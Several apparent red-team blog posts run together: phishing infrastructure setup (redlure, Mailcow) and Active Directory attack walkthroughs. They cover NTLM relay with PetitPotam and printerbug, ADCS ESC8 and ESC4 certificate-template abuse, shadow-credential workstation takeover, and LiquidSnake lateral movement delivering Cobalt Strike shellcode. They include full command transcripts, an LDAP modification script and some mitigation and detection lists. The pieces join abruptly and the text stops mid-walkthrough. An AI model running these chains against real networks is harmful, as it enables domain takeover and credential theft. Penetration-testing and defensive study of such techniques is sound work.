Now, I am a node noob - this is quite apparent if you look at the TypeScript code (PRs very welcome) - and got lucky that the client started on the first try. There is probably a better way to determine the ever-changing version of node required, but if you start the client and it fails with something about a minimum required Node version, install nvm (Node Version Manager) and use it to get the right Node version.

You should be able to login to the web interface now! Default login is admin:redlure, make sure to get that changed after logging in. Set the console field to the address of the console we stood up earlier.

Very important note: if you setup the console API with self-signed certs, you are going to need to browse to the console’s address (i.e. https://console.domain.com:5000) and accept the self-signed cert warnings or any attempt by client to login will likely fail.

At this point, your console is fully functional and you can start adding workspaces, templates, SMTP configs and more.

When designing the web interface and main campaign components, I took a lot of inspiration from Gophish, authored by Jordan Wright. If you’ve made it this far into the post, I’d assume you do a fair amount of phishing and thus have probably tried Gophish. Gophish is a tool I enjoyed success with in the past and one I think does a lot of things right. In particular, I love how the phishing campaigns feel very modular and easy to switch a single piece in or out of - something I tired to mimic.

Connecting Workers to the Console

Last thing you’ll need before phishing is to install one or more workers to host campaigns for you. I’ll only be adding one for the purpose of this post, but you can repeat this process to add as many workers as you need.

I usually deploy these on cheap cloud instances with around 1 GB RAM and 32 GB storage. On Vultr these are $6/month, per worker you stand up.

After deploying a new server for the worker, clone the repo and run the install.sh script.

This should end with creation of your pipenv environment. If the script fails somewhere along the way, or you don’t have Python3.9 available, you can create the virtual environment yourself with pipenv install or pipenv install --python 3.X.

Before editing config.py go back to the web console and copy your API key from the Domains & Servers page. This will used by both the console and workers to verify traffic coming from the other. You can regenerate your key in the web interface at any time, but doing so will break worker/console communications until you update your workers’ configs with the new key.

Add the key to your worker’s config.py along with the IP/domain name of your console. The certificate configurations here are for the worker API, so I usually just let it generate self-signed certs on startup, although you could specify other certs if you wish.

Now you can start the worker. It will attempt to check-in with your console and you’ll see the result in the output. This is a one-way check, (worker -> console only).

Back in the web interface add a new server and input the IP and port your worker is running on. After that, verify two-way console/worker communications are worker with the Refresh Status button. You should see the Status column update with Online. If you get a different status, you may have copied the API key incorrectly or have firewall rules blocking the traffic. Check the firewall rules applied to your instance or if ufw on.

As far as worker setup, everything is complete! While we’re on the Domains & Servers page, I’ll zoom out and add a domain I’ve pointed to the newly added worker. Domains you add here can be utilized with your campaigns only when pointed at a worker. So although I’ve black boxed the IPs in the screenshot the IPs of my SetupGuide-Worker-1 and login subdomain match. By clicking the green Generate Certs button by the domain, we can generate Let’s Encrypt certs for the domain on the corresponding worker.

If this succeeds, you’ll get the message on the green notification bar and also see Certs column flip from Unset to Set. This will also update the certificate paths in the domain’s config with the default Let’s Encrypt locations.

Conclusion

This post got extremely long, without even going into any features post-setup. For the moment, the DEF CON content contains examples of setting up campaigns with multi-page web content and integrated payload hosting (jump to 18:23 in the video), but I may add a blog or two in the future to demonstrate these. Overall, my hope is that is post will aid anyone interested in deploying redlure for their own engagements, especially anyone that may have been hesitant previously due to a lack of resources/guides like this.

1. The Classic NTLM Relay Attack

2. ADCS Compromise via NTLM Relay

3. Workstation Takeover via NTLM Relay

4. Substituting Initial Account Compromise with More NTLM Relay

The Classic NTLM Relay Attack

This is what has been around for years. Your laptop or NUC is on the internal network and you so you fire up ntlmrelayx with either Responder or Mitm6 and in no time you’re relaying hashes around to other workstations and servers over SMB. Here’s a quick (simplified) refresher of the attack flow:

Check out this post for much more technical detail on the above.

There are some standard variations of this, a good example being cross-protocol relay of HTTP authentication to LDAP for Active Directory enumeration or escalation, a capability offered by ntlmrelayx. These attack chains are still entirely more common than we’d hope to see. However, there are more encounters nowadays with networks where precaution has been taken through disabling LLMNR/NBT-NS and/or enabled SMB signing. This can make your relay toolkit harder to use - but not impossible.

Keep these two [1, 2] graphics in mind before continuing below (taken from another great NTLM relay resource here).

A Word on Machine Authentication Coercion

Something I don’t think existed (at least publicly) at the time of Marcello’s 2017 guide was a mechanism by which an attacker could force a remote machine to authenticate back to an arbitrary IP address. Since then, Lee Christensen (@tifkin_) has published the printerbug (2018), as a part of research related to forest trusts, and during the summer of 2021, Gilles Lionel (@topotam77) published PetitPotam. Most recently, Charlie Bromberg (@_nwodtuhs) published a PoC, ShadowCoerce, which is more targeted at domain controllers.

Each of these take advantage of different Windows RPC functions in a way that open the door for an authenticated attacker to coerce a remote machine to authenticate back to an attacker-controlled host. (Side note: there is an amazing blog about searching for these.) Attacks based off these coercion techniques are somewhat comparable to the PrivExchange scenario.

The ability to force a machine to authenticate to you, by default over SMB, has spawned some interesting new use cases, described below. You can of course, still try to abuse this captured authentication as you normally would with ntlmrelayx, with the caveat that the captured computer authentication likely requires local admin privileges to your relay target. You can query for this in BloodHound:

MATCH p = (m:Computer)-[r1:AdminTo]->(n:Computer) RETURN p UNION ALL MATCH p = (c:Computer)-[r2:MemberOf|HasSIDHistory*1..]->(g:Group)-[r3:AdminTo]->(d:Computer) RETURN p

ADCS Compromise via NTLM Relay

As a result of the Certified Pre-Owned research, the attack dubbed ESC8 became very popular. This involves relaying coerced machine account authentication to an ADCS (Active Directory Certificate Services) web enrollment service (which accepts NTLM auth, by default) and obtaining a certificate that enables domain authentication as the target. Here’s the flow for taking over a workstation or server in this manner:

If your target is a domain controller, there’s no need for S4U. Once you have a TGT you can just go right to DCSync. That’s probably the most well documented variation of this attack, but it’s usually possible to target any system in this manner. (Targeting a DC in this attack may not even require a compromised credential for PetitPotam, but we’ll come back to that.)

Example Attack Transcript

# https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
python3 ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template [DomainController|Machine] -smb2support

# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
python3 printerbug.py domain.local/user:pass@target.domain.local <attacker ip>

# OR
# https://github.com/topotam/PetitPotam/blob/main/PetitPotam.py
python3 PetitPotam.py -u user -p pass -d domain.local <attacker ip> target.domain.local

# Obtain TGT using https://github.com/dirkjanm/PKINITtools
# Use the base64 certificate blob from ntlmrelayx, or decode the base64 to a file and use the -cert-pfx flag
python3 gettgtpkinit.py domain.local/target\$ target.ccache -pfx-base64 <base64 blob>

# Obtain a TGS using S4U2Self to obtain admin rights on the target
python3 gets4uticket.py kerberos+ccache://domain.local\\target\$:target.ccache@dc.domain.local cifs/target.domain.local@domain.local administrator@domain.local administrator.ccache -v

Workstation Takeover via NTLM Relay

I won’t spend too much time on this scenario since I’ve posted more in depth about the shadow credentials variation of this attack here. In short, if you can relay your coerced authentication to a DC over LDAP(S) there are two potential ways you can obtain admin rights to the target: shadow credentials and resource-based constrained delegation (RBCD). A great post describing the RBCD variation can be found here.

The trick here is that SMB authentication can’t usually be relayed over LDAP due to session signing. A good alternative is coercing auth to a WebDAV backconnect, but this requires the target to have the Web Client service running, generally limiting this attack to workstations. Give the articles I linked to above a read for more details and examples!

Keeping up with the visual breakdown, these two workstation takeover scenarios look like this:

Example Attack Transcript

# https://github.com/ShutdownRepo/impacket/tree/pywhisker
python3 ntlmrelayx.py -t ldap://dc.domain.local --shadow-credentials --shadow-target target\$

# https://github.com/lgandx/Responder
# SMB and HTTP off
# Will poison the name in your UNC path below, if target attempts to resolve over LLMNR/NBT-NS
./Responder.py -I eth0 -w

# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
python3 printerbug.py domain.local/user:pass@target.domain.local badhost@80/path

# OR
# https://github.com/topotam/PetitPotam/blob/main/PetitPotam.py
python3 PetitPotam.py -u user -p pass -d domain.local badhost@80/path target.domain.local

# Obtain TGT using https://github.com/dirkjanm/PKINITtools
# pfx file and pfx password will be generated by ntlmrelayx
python3 gettgtpkinit.py domain.local/target\$ target.ccache -cert-pfx <pfx file path> -pfx-pass <pfx password>

# Obtain a TGS using S4U2Self to obtain admin rights on the target
python3 gets4uticket.py kerberos+ccache://domain.local\\target\$:target.ccache@dc.domain.local cifs/target.domain.local@domain.local administrator@domain.local administrator.ccache -v‍

Substituting Initial Account Compromise with More NTLM Relay

Why not crank up the difficulty? Up until this point, the authentication coercion + relay scenarios I’ve covered have been using a previously known/compromised account to kick off the coercion mechanism. These attacks are still potentially viable if you do not own a credential due to the fact that domain controllers without an August 2021 patch are vulnerable to unauthenticated PetitPotam. You may know this already, as the big attack vector floating around after PetitPotam’s release was unauthenticated DC compromise through relaying to an ADCS web enrollment endpoint. However, the shadow credentials/RBCD attack vector can leverage this too by wrapping in an extra round of relaying.

The first time I saw possibility mentioned, was by @gladiatx0r in a tweet:‍

The overall attack flow looks like this:

Example Attack Transcript

# https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
# Setup to relay auth from the DC to your target
python3 ntlmrelayx.py -t smb://target.domain.local -smb2support -socks

# https://github.com/topotam/PetitPotam/blob/main/PetitPotam.py
# Target unpatched DC with unauthenticated PetitPotam
python3 PetitPotam.py -u ‘’ -p ‘’ -d ‘’ <attacker ip> dc.domain.local

# Stop the current ntlmrelayx servers to free the ports, but leave the SOCKS proxy running
ntlmrelayx> stopservers

# https://github.com/ShutdownRepo/impacket/tree/pywhisker
# Start a second instance of ntlmrelayx, this time for shadow credential attack
python3 ntlmrelayx.py -t ldap://dc.domain.local --shadow-credentials --shadow-target target\$

# https://github.com/lgandx/Responder
# SMB and HTTP off
# Will poison the name in your UNC path below, if target attempts to resolve over LLMNR/NBT-NS
./Responder.py -I eth0 -w

# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
# Trigger auth from your target, authenticating through the SOCKS proxy as the vulnerable DC
proxychains python3 printerbug.py DOMAIN/DC\$:fakepass@target.domain.local badhost@80/path

# OR
# https://github.com/topotam/PetitPotam/blob/main/PetitPotam.py
proxychains python3 PetitPotam.py -u DC\$ -p fakepass -d DOMAIN badhost@80/path target.domain.local

# Obtain TGT using https://github.com/dirkjanm/PKINITtools
# pfx file and pfx password will be generated by ntlmrelayx
python3 gettgtpkinit.py domain.local/target\$ target.ccache -cert-pfx <pfx file path> -pfx-pass <pfx password>

# Obtain a TGS using S4U2Self to obtain admin rights on the target
python3 gets4uticket.py kerberos+ccache://domain.local\\target\$:target.ccache@dc.domain.local cifs/target.domain.local@domain.local administrator@domain.local administrator.ccache -v

I haven’t used that exact flow on an enagement yet, but near the end of 2021 I was placed in a scenario where a DC, which doubled as the domain’s sole CA, was missing the unauthenticated PetitPotam patch. Since the DC/CA were the same host, I was unable to trigger PetitPotam and directly enroll in a certificate as the DC. However, by using the unauthenticated PetitPotam + SOCKS proxy trick described above, I was able to enroll in a certificate template as a high-value server without any compromised credentials to start the attack. The more I type this out, the more confusing it sounds so hopefully the visual clears it up:

New NTLM Relay Tooling?

2021 also brought us some new relay tooling, or at least some tools teases that I’m keeping tabs on.

lsarelayx

lsarelayx was released by @EthicalChaos in November 2021. This requires administrator rights on a Windows machine to use, but allows for system wide NTLM relay through the use of a LSA authentication plugin that gets loaded by LSASS. I still haven’t played with lsarelayx myself, but it’s on my bucket list.

Farmer v2.0?

Farmer is a powerful NetNTLM hash havesting tool which has come up clutch for me on at least one engagement. The associated blog also has some great information on WebDAV tricks. Dominic Chell teased an unreleased version of Farmer with relay capabilities on Twitter in August 2021.

Mitigations and Detections

Short of disabling NTLM authentication across the organization (which would prevent all the relay attacks described in this post, but isn’t feasible for everyone), here are some potential mitigation and detection strategies.

• Disable LLMNR and NetBIOS Name Service

• Enforce session signing on SMB and LDAP

• Enforce EPA (Extended Protection for Authentication) on LDAPS and HTTPS

• Disable the ADCS web enrollment endpoint. If this cannot be done, NTLM authentication can be disabled on the host level or service level (IIS) on the certificate authority. Step-by-step instructions can be found in this post.

• Disable the Web Client service

• Disable the Print Spooler service

• Block or alert on potentially malicious RPC use (i.e. MS-EFSR, MS-RPRN) with rpcfirewall

• Monitor for Kerberos TGTs requested (event ID 4768) using PKINIT authentication if the behavior is not standard for the network environment or account.

• Monitor for AD object modifications (event ID 5136 or 4662) where the attribute being modified is msDS-KeyCredentialLink or msDS-AllowedToActOnBehalfOfOtherIdentity.

• Monitor event ID 4420 from the EFS source

• Monitor for AllowAllCliAuth registry key changes

References and Credits

• https://www.thehacker.recipes/ad/movement/ntlm/relay

• https://en.hackndo.com/ntlm-relay/

• https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire

• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

• https://fr.slideshare.net/LionelTopotam/petit-potam-slidesrtfmossir

• https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/?utm_campaign=Blog%20Posts&utm_content=196648608&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306

Deploying a New Server

The first thing to do is provision a new server with your hosting provider. The server I’ll be setting up is an Ubuntu 21.10 image hosted on Vultr. My deployment has 1 GB of RAM and 32 GB of disk space, which costs $6/month. Before we go about setting up Mailcow, check if your IP is on any of the blacklists tracked by MxToolBox. With some providers, your IP may appear in several blacklists, which may hurt your ability to get emails past spam filters (never had this happen with Vultr, one of the reasons I chose them for hosting).

After your server gets provisioned, you’ll want to setup reverse DNS - if you don’t it can hurt your spamminess rating later. In Vultr, this can be found by clicking on your new server and going to Settings. Set this to the DNS name your server will have (i.e. mail.domain.com)

For other hosting providers this process differs. I believe with Digital Ocean, reverse DNS is configured based on the droplets hostname.

Installing Mailcow

Mailcow has a great set of instructions here. I’d still recommend reading that, but the commands I used to setup my server are below:

curl -sSL https://get.docker.com/ | CHANNEL=stable sh
curl -L https://github.com/docker/compose/releases/download/$(curl -Ls https://www.servercow.de/docker-compose/latest.php)/docker-compose-$(uname -s)-$(uname -m) > /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose
umask # you should be root, ensure the output is 0022
cd /opt
git clone https://github.com/mailcow/mailcow-dockerized.git
cd mailcow-dockerized
./generate_config.sh # enter the dns name of your host (i.e. mail.domain.com, blank for timezone and n for ClamAV
vim mailcow.conf # make any edits before starting
docker-compose pull
docker-compose up -d

At this point, you should be able to reach the web interface by browsing to your Mailcow server over HTTP or HTTPS.

I usually firewall off port 80 so it’s unreachable and only allow HTTPS to required IPs. Here’s my full firewall setup:

Setting Up Your First Mailbox and Domain

The default credentials are admin and moohoo. First thing to do is login and change them, and potentially setup user accounts and/or 2FA. Once that’s done you can go add any domains you’ll be sending email with by going to Configuration > Mail Setup. There are 2 Configuration drop-downs with different options, so this can be a little confusing at first.

It should drop you on the Domains tab where you can click Add a domain. Once you’ve typed your domain name scroll down and make sure to select Add domain and restart SOGo.

With a domain added, it’s time to generate your DKIM key and get DMARC/DKIM/SPF records prepped. Get back to the configuaration page you started on by going to Configuration > Configuration & Details.

Then the other configuration drop-down, Configuration > ARC/DKIM keys.

Your newly added domain may already have a DKIM key added here, as mine did:

If not, add one by typing the domain, selector and choosing a key length, then clicking add:

Last step before we setup and test our first inbox is to add the MX and TXT DNS records to your domain. Here’s an example of the 3 TXT records you’ll want:

# Example record values
# DKIM - copy the value from mailcow

# DMARC
v=DMARC1; p=quarantine

# SPF
v=spf1 ip4:X.X.X.X -all

Adding and Testing a Mailbox

Head back to the mail setup page like we did after logging in and click the Mailboxes tab. Click Add mailbox and choose a username/password for the new mailbox.

You’re all ready to send emails at this point. Mailcow includes an email client called SOGo. It’s pretty barebones, but it’s sufficient for sending a few test emails if you don’t have a phishing platform to hookup to Mailcow yet. Head to Apps > SOGo where you’ll be presented with a login form you can login to with your new mailbox credentials:

After all the setup we’ve done to this point, let’s just ensure we get a good spam rating on mail-tester.com. Grab an address to send to from mail-tester and shoot over a test email. Again you could configure your phishing platform to send via your mailcow server to do this (authenticate to Mailcow on port 587 using TLS), if you’ve got it ready.

And voila! You’re ready to send some phishing emails though your Mailcow server! If you didn’t get 10/10 from mail-tester, click through the drop-down details to figure out the hang-up affecting your spam score.

The Scenario

Let’s start off with template enumeration - my go-to tool for this from Kali is certi.py, which has a list command for enumeration. Sorting through the output for potential misconfigurations and escalation paths, I found a template on which Domain Users were granted enrollment rights AND WriteProperty permissions.

I thought myself pretty lucky at this point - with the WriteProperty permissions, I can find a way to add the ENROLLEE_SUPPLIES_SUBJECT flag on the right template property (msPKI-Certificate-Name-Flag) and I’ll have Domain Admin rights via ESC1 in no time.

Some quick googling turned up this gist from Dominic Chell (@domchell). The C# code there allows for modification of the msPKI-Enrollment-Flag property. I made a quick port of the code to Python with some minor changes to target the right property for setting ENROLLEE_SUPPLIES_SUBJECT:

from ldap3 import Server, Connection, BASE, NTLM, MODIFY_REPLACE

def main():
    server = Server(’10.4.2.20’)
    conn = Connection(server, user=’ez.lab\\matt’, password=’:)’, authentication=NTLM, auto_bind=True)
    conn.bind()

    dn = ‘CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ez,DC=lab’,

    conn.search(
        search_base = dn,
        search_filter = ‘(&(objectClass=*))’,
        search_scope = BASE,
        attributes = ‘*’
    )

    ENROLLEE_SUPPLIES_SUBJECT = 1

    conn.modify(
        dn,
        {’msPKI-Certificate-Name-Flag’: [MODIFY_REPLACE, ENROLLEE_SUPPLIES_SUBJECT]}
    )

    print(conn.result)

    conn.unbind()

if __name__ == ‘__main__’:
    main()

‍ I executed the script, but was surprised when the result reported insufficient access rights.

Investigating Why

My impression was that WriteProperty permissions granted the ability to modify any attribute on the target object. After digging up some other documentation on relevant topics, I found that this is not always the case. To figure out which object attributes Domain Users was granted WriteProperty permissions over, I’d have to query the object’s ACL. Easiest way to do this seemed to be PowerShell so I RDP’d to a domain joined machine and pulled the template’s ACL:

Import-Module ActiveDirectory
(Get-Acl -Path “AD:CN=user,CN=certificate templates,CN=public key services,CN=services,CN=configuration,DC=ez,DC=lab”).Access

Among a whole list of ACEs returned, we see the ACE delegating WriteProperty permissions to the Domain Users group.

The key here is the GUID listed in the ObjectType field. This is the identifier for the sole attribute we actually have WriteProperty permissions over. Quickly googling the shown GUID reveals it corresponds to ms-PKI-OID-User-Notice, a property that’s relatively useless in our quest to create vulnerable template state.

It turned out this ESC4 route was a dead end on my pentest, but it prompted several questions on our offensive team:

1. How can we query a cert template’s ACL from a non-domain joined Linux system?

2. Does something exist that allows for easy modification of certificate template objects so that we don’t need to dig up and edit Python/C# code the next time we see this?

modifyCertTemplate.py

I ended up creating a Python tool to address those questions, which has come in handy on a few tests since its inception. Using it, we can return to checking the template’s ACL, without the baggage of finding somewhere suitable to run PowerShell:

‍Using the -get-acl flag above, we can easily diagnose the attribute our WriteProperty permission applies to.

If the modifiable attribute let’s us effect the template’s vulnerability to ESC scenarios, we can now identify it with certainty. In my experience though, this seems to be pretty niche. Instead of just searching for WriteProperty access to attributes like msPKI-Certificate-Name-Flag or pkiExtendedKeyUsage, it’s more likely you’ll that you’ll encounter a scenario where WriteProperty applies to all object attributes.

Generic WriteProperty Exploitation

If WriteProperty permissions apply to all object properties, the ObjectType value in the ACE will show all zeros.

‍In this case, it’s likely the easiest path to exploitation will be adding the ENROLLEE_SUPPLIES_SUBJECT (ESS) flag and performing ESC1. ESS can be added by specifying the property to edit with -property (msPKI-Certificate-Name-Flag) and the flag to be added with -add (ESS). Valid flags other than ESS can be added here as well.

With ESS added, you’re now free to use the tool of your choice to enroll in the template with a subject alternate name.

Another potential use is adding an EKU that enables domain authentication, allowing the certificate to be used to obtain a TGT once enrolled in. This can be done by slightly modifying the previous add command.

‍The tool output also provides the value of the property prior to modification, so the template can be reset after exploitation (don’t leave the template vulnerable!). This can be done by supplying the raw value from the previous output with the -value flag.

In the case of an attribute that takes a list, like pkiExtendedKeyUsage, it can be reverted in a similar fashion.

‍Tooling

modifyCertTemplate.py is available on GitHub. Pull requests and bug issues are welcome! I should also note that while I was putting this blog together, @FuzzySec added several WriteOwner/WriteDACL/WriteProperty abuse functions to StandIn. Be sure to check out this tool as well!

Mitigation and Detection

The best prevention of malicious certificate template modification is to audit the accounts that have FullControl, WriteOwner, WriteDACL or WriteProperty over certificate template objects and ensure that no low-privilge accounts or groups have these rights. PSPKIAudit may be used to help accomplish this.

On the detection side, the relevant Windows event ID is 4899. Following the steps outlined by Microsoft here, I was able to get the event to be logged, but with strings attached. Confirming conditions described in the whitepaper, I found event ID 4899 only gets logged if the template is enrolled in after a modification occurs. If a template modification occurs, but the template is not enrolled in, the modification event will NOT be logged. Unfortunately the event data doesn’t contain which account made the modification, but it does contain change information, including the old and new values.

‍Although the condition that the event isn’t logged unless the template is enrolled in isn’t ideal, it’s still worth monitoring for since it covers the scenario in which an attacker modifies a template and follows up with enrollment for privilege escalation.

Interesting – this potentially means that if an attacker can coerce and capture machine account authentication that is relay-able to LDAP, the attacker could set shadow credentials on the computer object allowing for machine takeover. My next thought was, how is no one talking about this? Well, it turns out very similar computer takeover methods have been around and documented, one being this workstation compromise method by @gladiatx0r.

The major difference between this and the proposed relay to set shadow credentials, is this uses ntlmrelayx’s --delegate-access attack to add a new machine to Active Directory (if one is not already under attacker control) and configure it for resource-based constrained delegation (RBCD). This will require the domain’s MachineAccountQuota attribute to be set greater than zero while utilizing shadowing credentials will require the domain to be set up for PKINIT authentication.

Note: thehacker.recipes documentation describes a scenario in which auth is captured from a domain controller and relayed to set shadow credentials on the DC’s computer object. In practice, this attack vector is likely limited to workstations in most scenarios, since coerced auth (as similarly described in the gist) will need to be received over HTTP for relay to LDAP, requiring the target to have the WebClient service running. Although it can be added, servers do not have the WebClient service installed by default.

Obligatory “Why do we Care?”

Workstation takeover is fairly self explanatory - if successful, the attacker can search the target’s filesystem for sensitive data, extract authentication material, etc. Another potential use is ADCS (Active Directory Certificate Services) escalation. On engagements we’ve encountered misconfigured certificate templates, vulnerable to ESC1, which grant enrollment rights to the Domain Computers group. In this scenario we’ve used this workstation takeover method to compromise enrollment rights and escalate within the domain from there.

Performing the Attack

Let’s set up the attack through beacon’s SOCKS proxy feature. Since we’ll be catching authentication at a WebDAV address we control, and not over SMB on 445, we won’t have to concern ourselves with something like PortBender. A simple reverse port forward will do the trick. The attack steps will look like this:

To get started, I’ve got a beacon running on ws1.ez.lab as EZ\matt, a low privilege user. I’ll set up the SOCKS proxy and the reverse port forward using beacon’s socks and rportfwd commands. The reverse port forward will be listening on the infected workstation on port 8081 and forwarding traffic to the teamserver (127.0.0.1) on port 81.

The target workstation will be ws2.ez.lab. To set shadow credentials on the computer object, a feature of ntlmrelayx can be used, which is currently awaiting approval as a pull request to Impacket (#1132). Until it’s merged in, make sure to clone from here and change your branch to the pywhisker branch before using. When starting ntlmrelayx, the new flags we’ll use are --shadow-credentials and --shadow-target (since my teamserver is bound to 80 and the rportfwd is heading to 81, I’m also throwing --http-port 81).

Note: While I’m targeting LDAPS in the example, plain LDAP also works. In some environments I’ve experienced LDAP search errors over LDAPS while finding success with the attack over LDAP.

Now we need to coerce authentication back to ws1.ez.lab:8081 which will be forwarded to the teamserver on port 81. From there, ntlmrelayx will capture it and fire it through the SOCKS proxy to the DC. I’ll use printerbug.py from the krbrelayx toolkit, but in theory, you could also use PetitPotam (I’ve experienced some bugs with PetitPotam + WebDAV backconnect, not sure if it’s still possible after Microsoft’s patches). Keep in mind, for this to work with the printerbug, the target will need to have both the Print Spooler and WebClient services running.

If all goes as planned, you should see the auth captured by the relay and used to add a new KeyCredential to the msDS-KeyCredentialLink attribute of the computer object. (Note: this will only work if a KeyCredential does not already exist.)

The output will specify the PFX file (and associated password) where the certificate is stored. This will be required in the next step to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account using PKINIT. The gettgtpkinit.py script from PKINITtools can be used for this.

Armed with the service ticket for EZ\Administrator we can now interact with ws2 as a local administrator. Ideally, on an engagement, you’ve identified this host as a high-value target where the admin privileges will come in handy for accomplishing your objectives. I’ll use Impacket’s wmiexec.py as an example, just to verify the TGS is valid:

Attack Transcript

# Set up ntlmrelayx to relay authentication from target workstation to DC 
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81

# Execute printer bug to trigger authentication from target workstation 
proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file

# Get a TGT using the newly acquired certificate via PKINIT 
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR

# Get a TGS for the target account 
proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v

# Utilize the TGS for future activity 
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab

Detection and Mitigation

• Kerberos service ticket generation (event ID 4769, caused here by gets4uticket.py) where the Account Name and Service Name do not align to the Client Address generating the event

Testing Vanilla LiquidSnake

Without modifying the LiquidSnake solution, set the target architecture to x64 and build - this will be our execute-assembly target from beacon.

I’ve got a beacon running on a Windows 10 system in my lab environment, we’ll be using this as the starting point for lateral movement.

Using the user context (REDANIA\vizimir) already established in beacon, we’ll test moving to oxenfurt.redania.local. This can be accomplished with beacon’s execute-assembly function (or better yet, BOF.NET) and the compiled LiquidSnake binary:

execute-assembly /opt/aggressor/LiquidSnake.exe oxenfurt.redania.local

Make sure to wait for the full output to be received before continuing - during this time the WMI event sub is being created and subsequently trigged. Once triggered, the target host will be listening on a SMB named pipe for shellcode to be executed. By default, the named pipe used is \\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7. We’ll come back to this value later.

The author has a BOF and aggressor script which can be used to deliver our beacon shellcode to the listening pipe. I’ve generated some stageless beacon shellcode tied to the HTTPS listener to send. First, load up the aggressor script:

Deliver the shellcode:

send_shellcode_via_pipe \\oxenfurt\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 /opt/aggressor/beacon.bin

And there’s our new beacon on the target:

Customizing the Named Pipe

If we’re to use LiquidSnake on a live operation, we’ll likely want to change to named pipe to better blend in. To do this, we’ll have to recompile the CSharpNamedPipeLoader solution from the LiquidSnake repo.

In Program.cs on line 410, set the pipe name to your preferred value:

IntPtr hPipe = CreateNamedPipe("\\\\.\\pipe\\MyNewPipeName")

Make sure the project architecture is set to x64 and compile. To work the edit into LiquidSnake, GadgetToJScript is used:

Base64 up the resulting test.vbs file:

Paste that string into the LiquidSnake solution in Program.cs on line 29:

string vbscript64 = "RnVuY3Rbpb24gQmFzZTY0VG9..."

Recompile the project and it’s back over to Cobalt Strike. Repeat the previously used beacon commands, except this time sub in your custom named pipe value when running send_shellcode_via_pipe:

And we receive our third beacon, this one using the custom pipe name:

While many organizations with ADCS implementations are uncovering extremely compromising misconfigurations as a result of the ADCS research, we did not find any certificate template configurations that offered instant privilege escalation opportunities. In other words, the Domain Users group and other low-privilege, high-member groups were not granted enrollment rights to any certificates. Upon deeper examination, we did identify several certificates that appeared to open the door to privilege escalation through the ENROLLEE_SUPPLIES_SUBJECT flag.

However, compromising an account with enrollment rights to one of these certificates was going to require serious account compromise efforts by our offensive team.

Eventually, compromise of a mid-tier administrative account allowed us to incorporate the Shadow Credentials attack, described by Elad Shamir (@elad_shamir), to aid in completion of privilege escalation through a vulnerable certificate template. I have set-up my lab environment in a very similar configuration to showcase the combined capabilities of several recently released tools, all of which relate to PKINIT authentication.

Scenario

I have a Cobalt Strike beacon running as a standard user on a Windows 10 box in the lab environment:

We can perform an initial check for vulnerable templates with Certify from beacon. Ultimately, no vulnerable certificates are found – the one vulnerable template, VULN, is not published by the CA.

Let’s gather information on all the published templates. To do this, we can simply remove the /vulnerable flag from the previous certify command.

One particular certificate template stands out. Three (3) attributes that make this template interesting:

1. The ENROLLEE_SUPPLIES_SUBJECT flag is present. This allows the enrollee to specify a subject alternative name (SAN), essentially allowing a certificate to be requested for another user.

2. Authentication is enabled via the CLIENT AUTHENTICATION extended key usage (EKU).

3. Enrollment rights contains the normal domain/enterprise admins, but also an additional group, REDANIA\TIER 1 ADMINS.

Compromise of an account belonging to the Tier 1 Admins group could allow us to request this certificate for an arbitrary user, including a domain admin. Checking BloodHound for group members shows two targets:

Both of these accounts are solely members of the Domain Users and Tier 1 Admins groups. In theory, these accounts are significantly privileged, but not as privileged as Domain Admins. Using BloodHound again, we can do some pathfinding to see if we have any ways to compromise one of these accounts. Similar to our position during the real engagement, assume we have already used our initial access to compromise Kerberos ticket-granting-tickets (TGTs) for a handful of users, including REDANIA\philippa:

Seeing that we have control over an account with GenericAll permissions over one of our targets through the Tier 2 Admins group, we can lay out our plan. Everything below will be performed using beacon’s SOCKS proxy feature to help limit EDR insight into our actions.

Abusing Shadow Credentials

With GenericAll permissions over Ori’s AD account, previous methods of exploitation may have included resetting the account’s password or setting a SPN and kerberoasting the account. These methods are either disruptive or do not guarantee account takeover. However, following Elad’s research, we can use GenericAll/WriteOwner/WriteDACL permissions over the user object to set the msDS-KeyCredentialLink attribute. This attribute holds data including a public key, which allow the account to perform Kerberos pre-authentication using a public-private key pair. By setting this attribute with a key pair we control, we can request a TGT (using PKINIT!) for the target account, guaranteeing account compromise without disrupting its use. Boiled down to one sentence, PKINIT is the asymmetric key method of Kerberos pre-authentication (with the symmetric method being reliant on the client’s password). PKINIT is not possible out of the box in every Windows network – I recommend reading Elad’s research for full details and requirements related to the attack.

PyWhisker will be used to perform the Shadow Credential attack from Kali through the SOCKS proxy – which we need to setup.

After ensuring proxychains configurations are set, I will start off by setting the KRB5CCNAME environment variable to the location of the previously stolen TGT for REDANIA\philippa. In the subsequent command, Kerberos authentication is used with PyWhisker’s add action to authenticate to a domain controller (Oxenfurt) and add a KeyCredential to Ori’s user object:

In the output, we can see the DeviceID corresponding to the new KeyCredential and the new PFX certificate file (and password for the PFX file). We can verify that the KeyCredential has been set by using PyWhisker’s list action:

